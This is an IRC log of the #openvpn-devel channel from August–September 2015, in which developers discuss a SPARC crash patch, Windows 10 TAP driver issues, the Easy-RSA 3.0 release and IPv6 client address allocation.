2015 00:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:19 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:55 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has quit [Remote host closed the connection] 02:57 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 03:45 -!- dazo_afk is now known as dazo 04:28 -!- weary [~weary@2a01:7c8:aab2:9e::1] has quit [Ping timeout: 240 seconds] 04:35 -!- Linmu [~Linmu@220-128-210-232.HINET-IP.hinet.net] has joined #openvpn-devel 07:19 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 07:19 < mator> cron2 07:19 < mator> hi 07:21 < mator> where do i fetch https://community.openvpn.net/openvpn/ticket/497 patch ? i usually using github.com openvpn git , but it doesn't have recent patches 07:21 <@vpnHelper> Title: #497 (OpenVPN 2.3.6 crashes with Bus error on Linux/SPARC shortly after startup) – OpenVPN Community (at community.openvpn.net) 07:26 < mator> ahh sorry found it in the ticket attachments 07:29 <@cron2> mator: right :-) - it will only get merged into git master if it passes your tests, and community review 07:29 <@cron2> (good timing, btw, just came online) 07:36 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 07:38 < mator> going to vacation tomorrow 07:38 < mator> i hope 07:38 <@cron2> so the patch was just in time delivery :) 07:39 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:39 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 07:59 <@ecrist> cron2: can you add the things for me in the main channel? 07:59 <@cron2> ? 07:59 <@ecrist> !learn book as Jan and Eric's Mastering OpenVPN: https://www.packtpub.com/networking-and-servers/mastering-openvpn 07:59 <@vpnHelper> Error: You don't have the factoids.learn capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified. 07:59 <@ecrist> :( 07:59 <@cron2> are you not running vpnHelper? 07:59 <@ecrist> that's the irony 08:00 <@ecrist> the bot refuses to accept my host mask 08:00 <@cron2> ok, I'm allowed to, whyever :) 08:00 <@ecrist> yeah 08:00 <@ecrist> funny stuff 08:00 <@ecrist> I'm really glad to be done with that book 08:01 <@cron2> !ovpnuke 08:01 <@ecrist> jan and I have been working on it for over a year 08:01 <@cron2> congratulations! 08:01 <@ecrist> thanks. it hit the printer yesterday we're told 08:10 < mator> http://fpaste.org/259544/44059462/ 08:10 < mator> ffs bbq 08:12 <@ecrist> mmmmm barbeque 08:13 < mator> mator@debian:~/openvpn$ cat src/plugins/down-root/Makefile 08:13 < mator> http://fpaste.org/259546/59478014/ 08:14 * cron2 finds autoconf-generated makefiles far less than exciting 08:16 < mator> k, i'm going to remove @SET_MAKE@ and try again 08:19 <@cron2> but this is interesting anyway... I recently had a make issue where gnu make was totally happy with the (not-correct) Makefile and bsd make barfed 08:21 < mator> cron2, without this @SET_MAKE@ line it compiled ok 08:21 < mator> gonna test right now... 08:21 * cron2 wonders where this @SET_MAKE@ is coming from (and why it is only hitting this particular Makefile) 08:22 < mator> but I wonder how come it gets into Makefile, if before I have done the same steps and it compiled without any Makefile editions 08:23 < mator> i'm compiling from git, by INSTALL it tells me: 08:23 < mator> BUILD COMMANDS FROM SOURCE REPOSITORY CHECKOUT: 08:23 < mator> autoreconf -i -v -f 08:23 < mator> ./configure 08:23 < mator> make 08:24 <@cron2> yep, this is supposed to work 08:24 <@cron2> can't check right now, but will look into this tonight 08:25 < mator> cron2, well, telnet over tunnel works 08:25 <@cron2> \o/ 08:25 < mator> doesn't "bus error" 08:25 <@cron2> can you please comment into trac? 08:25 < mator> sure 08:25 * cron2 needs to leave for the moment 08:26 < mator> any more tests besides of simple telnet site 80 / GET / i can do ? 08:26 < mator> gonna try apt-get 08:27 < mator> apt-get install mtr-tiny 08:28 < mator> works 08:28 < mator> Get:1 http://mirror.yandex.ru/debian/ wheezy/main mtr-tiny sparc 0.82-3 [41.0 kB] 08:28 <@vpnHelper> Title: Index of /debian/ (at mirror.yandex.ru) 08:29 < mator> wget http://cachefly.cachefly.net/100mb.test 08:32 < mator> works as well 08:42 -!- jrgcombr [~jrgcombr@179.34.131.41] has joined #openvpn-devel 08:44 -!- jrgcombr_ [~jrgcombr@179.34.131.41] has quit [Ping timeout: 260 seconds] 11:37 <@vpnHelper> RSS Update - tickets: #601: Expired server cert not shown as error message <https://community.openvpn.net/openvpn/ticket/601> 13:16 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 13:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 16:03 -!- dazo is now known as dazo_afk 23:17 <@vpnHelper> RSS Update - wishlistfeed: OpenVPN Version 3.0 multicore. <http://forums.openvpn.net/topic19570.html> 23:34 -!- jrgcombr_ [~jrgcombr@177.139.245.237] has joined #openvpn-devel 23:38 -!- jrgcombr [~jrgcombr@179.34.131.41] has quit [Ping timeout: 260 seconds] 23:46 -!- jrgcombr__ [~jrgcombr@189.40.62.114] has joined #openvpn-devel 23:49 -!- jrgcombr_ [~jrgcombr@177.139.245.237] has quit [Ping timeout: 255 seconds] --- Day changed Thu Aug 27 2015 00:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:59 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:04 -!- dazo_afk is now known as dazo 04:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 04:40 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:40 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:34 -!- weary [~weary@2a01:7c8:aab2:9e::1] has joined #openvpn-devel 06:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 06:40 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:40 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:48 -!- jrgcombr__ [~jrgcombr@189.40.62.114] has quit [Ping timeout: 255 seconds] 07:59 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Quit: Bye] 08:00 <@cron2> mattock1: can you put the NAT/FTP patch on next meeting's agenda, please? 08:03 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 09:05 <@mattock1> it looks like Windows 10 suck a little less than Windows 8.1 09:05 <@mattock1> cron2: yeah 09:10 <@mattock1> https://community.openvpn.net/openvpn/wiki/Topics-2015-09-07 09:10 <@vpnHelper> Title: Topics-2015-09-07 – OpenVPN Community (at community.openvpn.net) 09:11 <@mattock1> the "tap-windows6 does not work on Windows 10" bug does not seem to be that straightforward: https://community.openvpn.net/openvpn/ticket/592 09:11 <@vpnHelper> Title: #592 (Tap-Windows Adapter not work Windows 10) – OpenVPN Community (at community.openvpn.net) 09:45 -!- jrgcombr [~jrgcombr@189.40.62.114] has joined #openvpn-devel 11:10 -!- dazo is now known as dazo_afk 15:11 <@cron2> yeah, #592 is confusing - for some users, it cannot be installed, while for others it works just fine except for the DNS prio issue... 15:16 <@mattock1> cron2: the original bug reporter may have used the installer with NDIS 5 driver for all we know 15:17 <@cron2> I think he mentioned having tried I601 and I001 installers 15:17 <@cron2> (I001 not working would have been my first guess) 15:32 <@cron2> reading up on the most recent updates of that ticket now... 15:34 <@cron2> mattock1: what's the current assessment on the workability of the NDIS6 driver? 15:35 * cron2 wonders whether the I00x installers should present a "this is not a good idea, do you really want to do this?" warning if trying to install NDIS5 on win8 and up... 15:35 <@cron2> (but that of course only works if we trust the ndis6 driver to be really stable now) 15:37 <@mattock1> cron2: well, until windows 10 there have been no recent complaints about the tap-windows6 driver 15:37 <@mattock1> I believe it is working correctly for 99,999% of the cases 15:37 <@mattock1> the I00x installers have been marked as "Windows XP" and the I60x installer as "Vista and above" for quite a few months now 15:38 <@mattock1> so I suspect people tend to download I60x if they read the descriptions at all 15:39 <@mattock1> rather than putting warnings in the I00x installers maybe we should consider hiding them better, e.g. under a link in the description ("If you're using Windows XP, you should use _these_ installers instead) 15:40 <@cron2> or name them differently (openvpn-winxp-I00x)... 15:40 <@mattock1> yes, something like that 15:40 <@mattock1> I need to split, I have to wake up quite early tomorrow 15:40 <@mattock1> bye! 15:40 <@cron2> good night! 15:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 18:49 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 18:50 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Fri Aug 28 2015 03:44 -!- dazo_afk is now known as dazo 03:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:57 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Log opened Fri Aug 28 19:34:58 2015 19:34 -!- ecrist [~ecrist@freebsd/contributor/openvpn.ecrist] has joined #openvpn-devel 19:34 -!- Irssi: #openvpn-devel: Total of 28 nicks [7 ops, 0 halfops, 2 voices, 19 normal] 19:34 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 19:34 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 19:52 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 19:52 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 19:53 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit] 20:11 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 20:11 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 20:12 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit] 20:31 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 20:31 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 20:33 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit] 20:37 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 20:37 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 20:37 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit] 20:38 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 20:38 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 20:45 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] --- Day changed Sat Aug 29 2015 00:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:19 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:41 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 246 seconds] 01:49 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 02:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 07:13 -!- jwhitmore [~jwhitmore@host213-122-246-19.range213-122.btcentralplus.com] has quit [Ping timeout: 245 seconds] 08:18 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 08:19 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 08:25 -!- Netsplit *.net <-> *.split quits: +krzee, siruf, TimSmall 08:25 -!- Netsplit over, joins: siruf, krzee 08:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:16 <@cron2> sheesh... kapersky AV killing tap driver on win10? omg... 22:58 -!- arlen [~arlen@jarvis.arlen.io] has left #openvpn-devel [] 23:04 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel --- Day changed Sun Aug 30 2015 02:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:09 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:39 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 06:26 <@plaisthos> ifconfig 10.82.0.2 10.82.0.1 255.255.255.255 06:26 <@plaisthos> I wonder which tutorial had a line like this 06:33 -!- esde [~something@openvpn/user/esde] has quit [Ping timeout: 260 seconds] 06:36 -!- esde [~something@openvpn/user/esde] has joined #openvpn-devel 06:49 <@cron2> hrhr 07:14 <@cron2> plaisthos: when you have a few minutes, could you have a look at http://article.gmane.org/gmane.network.openvpn.devel/10056 07:14 <@cron2> ? 07:14 <@cron2> It supposedly fixes the trac ticket, and I think the code is sane enough (tested on linux/i386 and linux/sparc649 07:14 <@cron2> s/9/)/ 11:28 -!- floppym_ [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 11:28 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 11:36 -!- floppym_ is now known as floppym 11:45 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 11:49 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 12:43 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 240 seconds] 13:15 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 18:00 -!- b0br [~b0br@cpc5-macc3-2-0-cust215.1-3.cable.virginm.net] has joined #openvpn-devel 20:17 -!- b0br [~b0br@cpc5-macc3-2-0-cust215.1-3.cable.virginm.net] has quit [Changing host] 20:17 -!- b0br [~b0br@unaffiliated/b0br] has joined #openvpn-devel 20:38 -!- Linmu_ [~Linmu@220-128-210-232.HINET-IP.hinet.net] has joined #openvpn-devel 20:38 -!- Linmu [~Linmu@220-128-210-232.HINET-IP.hinet.net] has quit [Ping timeout: 240 seconds] 20:47 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 20:49 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 21:15 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 21:16 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 21:16 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 21:22 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Mon Aug 31 2015 00:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:42 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:51 -!- dazo_afk is now known as dazo 08:31 -!- mator [~mator@u163.east.ru] has quit [Remote host closed the connection] 14:01 -!- dazo is now known as dazo_afk 16:07 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 18:03 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 18:07 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 18:15 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 18:20 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 22:43 -!- arlen [~arlen@jarvis.arlen.io] has quit [Quit: exit] 22:45 -!- b0br [~b0br@unaffiliated/b0br] has quit [] 23:45 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel --- Day changed Tue Sep 01 2015 00:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:01 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:18 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 02:20 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:12 <@vpnHelper> RSS Update - tickets: #602: Buffer size bug <https://community.openvpn.net/openvpn/ticket/602> 03:29 -!- dazo_afk is now known as dazo 05:17 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 250 seconds] 07:06 <@cron2> people should really stop opening bug reports for user questions... 07:06 * cron2 looks slightly annoyed 08:26 <@plaisthos> cron2: :) 10:10 <@mattock1> lev is also going to come to Delft 11:45 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 240 seconds] 11:50 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 12:04 -!- jrgcombr_ [~jrgcombr@177.139.245.237] has joined #openvpn-devel 12:06 -!- jrgcombr__ [~jrgcombr@186.203.220.154] has joined #openvpn-devel 12:08 -!- jrgcombr [~jrgcombr@189.40.62.114] has quit [Ping timeout: 264 seconds] 12:09 -!- jrgcombr_ [~jrgcombr@177.139.245.237] has quit [Ping timeout: 250 seconds] 12:14 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 12:15 -!- jrgcombr_ [~jrgcombr@177.148.163.35] has joined #openvpn-devel 12:18 -!- jrgcombr__ [~jrgcombr@186.203.220.154] has quit [Ping timeout: 255 seconds] 12:21 -!- jrgcombr__ [~jrgcombr@177.139.245.237] has joined #openvpn-devel 12:24 -!- jrgcombr_ [~jrgcombr@177.148.163.35] has quit [Ping timeout: 250 seconds] 12:26 -!- jrgcombr__ [~jrgcombr@177.139.245.237] has quit [Ping timeout: 250 seconds] 12:29 -!- jrgcombr [~jrgcombr@177.148.130.238] has joined #openvpn-devel 12:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 12:43 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:43 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:51 -!- dazo is now known as dazo_afk 14:17 -!- jrgcombr [~jrgcombr@177.148.130.238] has quit [Read error: Connection reset by peer] 14:34 -!- Netsplit *.net <-> *.split quits: @dazo_afk, @vpnHelper 14:35 -!- Netsplit over, joins: @dazo_afk 14:35 -!- Netsplit over, joins: @vpnHelper 14:48 -!- Netsplit *.net <-> *.split quits: @vpnHelper 14:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 14:53 -!- Netsplit over, joins: @vpnHelper 14:58 <@cron2> mattock1: saw that, great news :-) 15:07 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:07 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 15:21 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 15:36 -!- novaflash is now known as novaflash_away 21:52 <@ecrist> fyi - I have intent to release easy-rsa 3.0 this weekend or next week. --- Day changed Wed Sep 02 2015 00:12 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:12 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:34 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 01:45 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 02:47 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 252 seconds] 04:23 -!- dazo_afk is now known as dazo 07:05 <@cron2> ecrist: cool 08:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 08:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:44 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 15:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 268 seconds] 15:42 -!- dazo is now known as dazo_afk 19:26 <@ecrist> anyone around? 20:08 <@ecrist> well, if I didn't fuck it up, Easy-RSA v3.0.0 has been released 20:08 <@ecrist> Nearly all of the credit goes to pekster (Josh Cepek) 22:39 -!- arlen [~arlen@jarvis.arlen.io] has left #openvpn-devel [] 22:41 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel --- Day changed Thu Sep 03 2015 00:56 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:56 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:38 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 01:45 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 02:09 < weary> ecrist: gratz! 02:11 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:15 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 03:09 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:14 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 03:25 -!- novaflash_away is now known as novaflash 03:48 -!- dazo_afk is now known as dazo 05:15 <@dazo> syzzer: This might be of interest ... https://securityblog.redhat.com/2015/09/02/factoring-rsa-keys-with-tls-perfect-forward-secrecy/ 05:15 <@vpnHelper> Title: Factoring RSA Keys With TLS Perfect Forward Secrecy | Red Hat Security (at securityblog.redhat.com) 06:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 06:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:45 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:07 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 07:09 <@cron2> ecrist: congrats. Where is pekster anyway? 07:14 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:14 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 07:15 <@ecrist> He's around, but doesn't have time for us anymore, apparently. :'( 08:07 <@cron2> syzzer: is the trac600 patch for master or master+2.3? 11:02 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 11:08 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 12:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 12:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:45 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:22 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 13:27 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 13:27 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 13:36 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 13:36 -!- mode/#openvpn-devel [+o pekster] by ChanServ 14:08 -!- dazo is now known as dazo_afk 14:23 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 21:19 -!- Acidizer303 [~Worker@193.105.134.156] has joined #openvpn-devel 21:46 <@vpnHelper> RSS Update - tickets: #603: Tunnel latency issues on Windows 7 <https://community.openvpn.net/openvpn/ticket/603> 22:05 -!- Acidizer303 [~Worker@193.105.134.156] has left #openvpn-devel [] --- Day changed Fri Sep 04 2015 00:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:26 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:30 -!- TimSmall [~tim@ipv6test5.plus.com] has joined #openvpn-devel 04:26 -!- Linmu_ [~Linmu@220-128-210-232.HINET-IP.hinet.net] has quit [Quit: leaving] 04:37 -!- dazo_afk is now known as dazo 06:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 06:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:44 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:56 < mator> cron2, hi 07:56 <@cron2> ho! 07:57 < mator> does someone discussed why openvpn gives starting address of x:x:x:1000/128 on ipv6 address allocation from /64 ? 07:57 < mator> is n't it will be better to have random address generated and given to client from /64 network ? 07:58 <@cron2> no particular reason, except "I found it makes a nice difference between :1 for the server and :10xx for the clients" 07:58 <@cron2> random is hard 07:58 < mator> why so? 07:58 <@cron2> you'd need logic to actually store the assignments in the pool file (and verify the "random number" is actually not assigned elsewhere yet, etc.) 07:59 < mator> probably i'm missing something, but what is the difference from :1000 with :random 07:59 <@cron2> :1000, 1001, 1002, 1003 is just linear 07:59 < mator> i believe there would be matches/collisions from /64 but in 1/1million ? 08:00 < mator> 1/2^64 08:00 <@cron2> the pool handler finds an IPv4 address in the pool, say, "index 37", and the IPv6 code just does 1000+37 to assign a unique and free v6 address 08:01 <@cron2> mator: this is assuming a perfect mathematical distribution, but a "random function" that spits out 1, 2, 5, 5, 5, 8 is still "random" 08:01 < mator> i don't like linear, it is against ipv6 privacy extensions (RFC 4941) if we use tun 08:01 < mator> on tap we can have SLAC + privacy ext 08:01 <@cron2> feel free to provide a patch 08:02 < mator> =) 08:02 < mator> i'll try to read more core and think about it more 08:02 <@cron2> I'm not going to code it - what we have now is "good enough for me", and I'm a lazy guy :-) (or, I have more pressing issues to code before we can do 2.4 release) 08:02 < mator> but thanks anyway, sorry if bothing you much 08:02 < mator> bothering 08:03 <@cron2> no problem - and I prefer discussions here or on the list, before opening a trac ticket about something that is just a missing feature :-) 08:33 <@cron2> syzzer: if you're around, please take a look at your patch for trac#600 to the cryptoapi.c part - I think that one could just go after the strdup(), no? 08:34 <@cron2> (and maybe "should") 08:51 < weary> syzzer is on holiday 10:02 <@dazo> syzzer! come back! you've had enough holiday now because we miss you here! ;-) 13:30 -!- dazo is now known as dazo_afk 14:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 15:13 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 15:16 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 264 seconds] 15:17 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 15:18 -!- mode/#openvpn-devel [+o pekster] by ChanServ 15:57 <@cron2> weary: any idea how long syzzer is away? 15:59 * cron2 needed to NAK a patch of his :) 16:05 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 16:05 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:10 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 272 seconds] 16:28 -!- riddle [riddle@76.72.170.57] has joined #openvpn-devel 17:35 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] --- Day changed Sat Sep 05 2015 00:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:45 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Day changed Sun Sep 06 2015 02:57 -!- mator [~mator@u163.east.ru] has quit [Ping timeout: 244 seconds] 15:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 18:32 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 240 seconds] 18:51 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Mon Sep 07 2015 00:12 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 00:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:34 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:57 <@mattock1> meeting today as planned? 04:06 < TimSmall> I can probably be around if a review of the pam patch is possible? 04:34 <@mattock1> that might be doable... if dazo continues to be unavailable, I might get James to review the patch 04:34 <@mattock1> cron2, syzzer: meeting today? 04:45 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 05:30 < TimSmall> mattock1: From my perspective I'd rather ensure that the patch is well reviewed rather than hurried in - I'm conscious that it touches security critical code, and also that the code it touches sees relatively little activity (meaning hopefully there is little chance of having to rebase it), so if the next meeting works better for the team, then that's fine too. Still, would be good to get it signed off obviously... 06:04 <@mattock1> TimSmall: agreed 06:04 <@mattock1> james is usually able to review about anything thrown at him, given he is the "father" of OpenVPN :) 06:58 <@plaisthos> my app is malware 06:58 <@plaisthos> according to AVG 07:06 < mator> so stop using it 07:07 < mator> ;) 07:10 <@plaisthos> mator: :) 07:10 <@plaisthos> OpenSource Malware! 07:10 <@plaisthos> features include: 07:10 <@plaisthos> - redirects all your traffic 07:16 < mator> hehe 07:16 < mator> well, 07:16 < mator> openvpn redirects all your traffic 07:16 < mator> i wonder should you include this in README 07:16 < mator> warning section 07:16 <@plaisthos> Nah, it is fine 07:17 <@plaisthos> Android gives that as scary warning 07:17 < mator> mine upon boot tells me that someone is monitoring my traffic 07:17 < mator> installed my own CA certificate 07:17 <@plaisthos> yes 07:18 <@plaisthos> but if you start a VPN app, android will tell you that the app tries to establish VPN and that this allows the app to monitor all network traffic. And that you should only allow this if you trust the app 07:19 <@plaisthos> It is like the permission system coming to Android 6.0 07:20 <@plaisthos> only that VPN it is implemented completly different and has been there since 4.0 07:20 < mator> i only have 5.1 installed on my 3.5 year old galaxy nexus 07:21 <@plaisthos> :) 07:21 <@plaisthos> I have 5.0 on my Android device 07:22 <@plaisthos> and 5.1.1 (without Stragefright patch) on my Nexus 7 07:22 <@plaisthos> the google device that gets updates 3 months after all other Nexus devices 07:23 < mator> google broke with galaxy nexus about 1,5 years ago, left it with 4.3 07:23 <@plaisthos> yeah 07:23 < mator> i went to cm11 (4.4) first, and now on unstable cm12.1 (5.1.1) 07:24 < mator> quite stable actually 07:24 <@plaisthos> the first N7 tablet also fell out of support 07:24 <@plaisthos> it did not even get 18 months (for the GSM variant) 07:25 < mator> using gnexus from first days, it my first smart phone... almost 4 years later, still can't afford / too lazy to change it 07:30 <@cron2> mattock1: I'm back home (since "just now"). Seems syzzer is missing in action, so let's see who is around tonight 07:32 <@cron2> plaisthos: what, the old N7 is now end of support? bah... it did receive 5.1.something, though... 07:32 <@cron2> (but it is not liking the 5.x version - things are very slow quite often, or gmaps is just hanging...) 07:33 <@mattock1> cron2: 